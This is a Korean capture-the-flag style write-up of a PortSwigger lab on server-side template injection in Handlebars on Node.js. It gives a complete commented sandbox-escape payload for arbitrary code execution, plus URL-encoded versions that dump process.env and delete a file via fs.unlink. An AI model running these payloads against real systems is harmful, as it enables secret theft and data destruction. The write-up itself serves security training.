Portswigger-Server-side template injection in an unknown language with a documented exploit

problem link

풀이

SSTI 취약점이 있다. 템플릿 엔진을 알아내고 Carlos 홈 디렉토리의 morale.txt 파일을 삭제해야 한다. 임의코드를 실행해 파일을 삭제하라.

접속하면 위와 같이 상품 리스트가 뜬다. 첫 번째 아이템을 누르면 message 파라미터에 문구가 지정된다. 지정된 문구와 동일한 문구가 화면에 써진다.

message 파라미터를 임의로 변경하면 변경된 값이 화면에 반사된다. 이를 통해 사용자가 제어할 수 있는 입력값이 화면에 반사되는 것을 알 수 있다.

반사된 값이 어디에서 설정되는지 조사했다. 서버에서 HTML에 값을 넣어 보내고 있다. 이를 통해 서버사이드 템플릿을 사용한다는 것을 알 수 있다.

어떤 템플릿 엔진을 사용하는지 모르므로, 흔한 SSTI 페이로드를 넣어 테스트해본다. {{7*7}} 를 넣었을 때 서버 오류 메시지가 출력되었다.

오류 메시지를 통해 웹서버는 nodejs이고, handlebars 라는 템플릿 엔진을 사용하고 있다는 정보를 얻었다.

handlebars는 다음과 같은 형태로 사용한다.

var source = "<p>Hello, my name is {{name}}. I am from {{hometown}}. I have " +
             "{{kids.length}} kids:</p>" +
             "<ul>{{#kids}}<li>{{name}} is {{age}}</li>{{/kids}}</ul>";
var template = Handlebars.compile(source);
 
var data = { "name": "Alan", "hometown": "Somewhere, TX",
             "kids": [{"name": "Jimmy", "age": "12"}, {"name": "Sally", "age": "4"}]};
var result = template(data);
 
// Would render:
// <p>Hello, my name is Alan. I am from Somewhere, TX. I have 2 kids:</p>
// <ul>
//   <li>Jimmy is 12</li>
//   <li>Sally is 4</li>
// </ul>

입력값을 변수로 참조한 뒤 인젝션된다. 템플릿에 사용 가능한 표현식에 제한이 있으므로 (아마도 템플릿에 넣을 수 있는 타입을 제한하거나, 사용가능한 연산이 정해져있는 것 같다.) 가능한 방법으로 페이로드를 짠다.

https://blog.tarq.io/handlebars-4-1-2-command-execution/ 를 참고하여 페이로드를 짰다. {{! 로 시작하는 것은 주석이다.

{{! js payload. you can spawn a shell by calling process.binding("spawn_sync") with the correct arguments to bypass not having access to require }}
{{#with "console.log(JSON.stringify(process.env,null, 2))" }}
{{#with (split "💩" 1) as |payload|}}
{{! set this['undefined'] = this.valueOf }}
{{__defineGetter__ "undefined" valueOf }}
{{! sets context to valueOf, this is what we'll be calling bind on later }}
{{! handlebars ends up calling context.__lookupGetter__() which returns the same thing as __lookupGetter("undefined") }}
{{#with __lookupGetter__ }}
{{! override propertyIsEnumerable with a function that always returns 1 using valueOf.bind(1).bind() }}
{{__defineGetter__ "propertyIsEnumerable" (this.bind (this.bind 1)) }}
{{! set the context = Function.prototype.constructor }}
{{__defineGetter__ "undefined" this.constructor}}
{{#with __lookupGetter__ as |ctor| }}
{{! setup a getter that will execute our payload }}
{{__defineGetter__ "hax" (ctor.apply ctor payload)}}
{{{hax}}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

해시태그 문자때문에 URL 파라미터로 넣을 시 짤리므로, URL 인코딩을 해 넣는다. 함수를 템플릿 내에서 호출하고 그 결과를 출력하기 위해서 위와같이 복잡한 구조의 페이로드가 나온다. 최상단의 console.log(JSON.stringify(process.env,null, 2))에 원하는 임의의 코드를 삽입한다.

console.log(JSON.stringify(process.env,null, 2) 페이로드를 실행해 nodejs 서버 환경을 출력했다. 이 페이로드는 ?message=%7b%7b%23%77%69%74%68%20%22%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%70%72%6f%63%65%73%73%2e%65%6e%76%2c%6e%75%6c%6c%2c%20%32%29%29%22%20%7d%7d%7b%7b%23%77%69%74%68%20%28%73%70%6c%69%74%20%22%3d%a9%22%20%31%29%20%61%73%20%7c%70%61%79%6c%6f%61%64%7c%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%75%6e%64%65%66%69%6e%65%64%22%20%76%61%6c%75%65%4f%66%20%7d%7d%7b%7b%23%77%69%74%68%20%5f%5f%6c%6f%6f%6b%75%70%47%65%74%74%65%72%5f%5f%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%70%72%6f%70%65%72%74%79%49%73%45%6e%75%6d%65%72%61%62%6c%65%22%20%28%74%68%69%73%2e%62%69%6e%64%20%28%74%68%69%73%2e%62%69%6e%64%20%31%29%29%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%75%6e%64%65%66%69%6e%65%64%22%20%74%68%69%73%2e%63%6f%6e%73%74%72%75%63%74%6f%72%7d%7d%7b%7b%23%77%69%74%68%20%5f%5f%6c%6f%6f%6b%75%70%47%65%74%74%65%72%5f%5f%20%61%73%20%7c%63%74%6f%72%7c%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%68%61%78%22%20%28%63%74%6f%72%2e%61%70%70%6c%79%20%63%74%6f%72%20%70%61%79%6c%6f%61%64%29%7d%7d%7b%7b%7b%68%61%78%7d%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d 이다.

최상단의 페이로드를 console.log(process.cwd())로 대체하여 현재 작업 디렉토리를 출력했다. 이 페이로드는 ?message=%7b%7b%23%77%69%74%68%20%22%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%70%72%6f%63%65%73%73%2e%63%77%64%28%29%29%22%20%7d%7d%7b%7b%23%77%69%74%68%20%28%73%70%6c%69%74%20%22%3d%a9%22%20%31%29%20%61%73%20%7c%70%61%79%6c%6f%61%64%7c%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%75%6e%64%65%66%69%6e%65%64%22%20%76%61%6c%75%65%4f%66%20%7d%7d%7b%7b%23%77%69%74%68%20%5f%5f%6c%6f%6f%6b%75%70%47%65%74%74%65%72%5f%5f%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%70%72%6f%70%65%72%74%79%49%73%45%6e%75%6d%65%72%61%62%6c%65%22%20%28%74%68%69%73%2e%62%69%6e%64%20%28%74%68%69%73%2e%62%69%6e%64%20%31%29%29%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%75%6e%64%65%66%69%6e%65%64%22%20%74%68%69%73%2e%63%6f%6e%73%74%72%75%63%74%6f%72%7d%7d%7b%7b%23%77%69%74%68%20%5f%5f%6c%6f%6f%6b%75%70%47%65%74%74%65%72%5f%5f%20%61%73%20%7c%63%74%6f%72%7c%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%68%61%78%22%20%28%63%74%6f%72%2e%61%70%70%6c%79%20%63%74%6f%72%20%70%61%79%6c%6f%61%64%29%7d%7d%7b%7b%7b%68%61%78%7d%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d 이다.

현재 디렉토리가 carlos의 홈 디렉토리이므로, 동일 디렉토리에 있는 morale.txt 파일을 삭제한다. console.log(JSON.stringify(fs.unlink('morale.txt', ()=>{}))) 페이로드를 이용했다. 이는 URL 인코딩버전으로는 ?message=%7b%7b%23%77%69%74%68%20%22%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%66%73%2e%75%6e%6c%69%6e%6b%28%27%6d%6f%72%61%6c%65%2e%74%78%74%27%2c%20%28%29%3d%3e%7b%7d%29%29%29%22%20%7d%7d%7b%7b%23%77%69%74%68%20%28%73%70%6c%69%74%20%22%3d%a9%22%20%31%29%20%61%73%20%7c%70%61%79%6c%6f%61%64%7c%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%75%6e%64%65%66%69%6e%65%64%22%20%76%61%6c%75%65%4f%66%20%7d%7d%7b%7b%23%77%69%74%68%20%5f%5f%6c%6f%6f%6b%75%70%47%65%74%74%65%72%5f%5f%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%70%72%6f%70%65%72%74%79%49%73%45%6e%75%6d%65%72%61%62%6c%65%22%20%28%74%68%69%73%2e%62%69%6e%64%20%28%74%68%69%73%2e%62%69%6e%64%20%31%29%29%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%75%6e%64%65%66%69%6e%65%64%22%20%74%68%69%73%2e%63%6f%6e%73%74%72%75%63%74%6f%72%7d%7d%7b%7b%23%77%69%74%68%20%5f%5f%6c%6f%6f%6b%75%70%47%65%74%74%65%72%5f%5f%20%61%73%20%7c%63%74%6f%72%7c%20%7d%7d%7b%7b%5f%5f%64%65%66%69%6e%65%47%65%74%74%65%72%5f%5f%20%22%68%61%78%22%20%28%63%74%6f%72%2e%61%70%70%6c%79%20%63%74%6f%72%20%70%61%79%6c%6f%61%64%29%7d%7d%7b%7b%7b%68%61%78%7d%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d 이다.

이 취약점은 사용자가 입력한 값을 검증하지 않아서, SSTI 페이로드를 sanitize 하거나 인코딩하지 않고 처리했기에 발생했다.


tags: writeup, ssti, wstg-inpv-18, handlebars, web hacking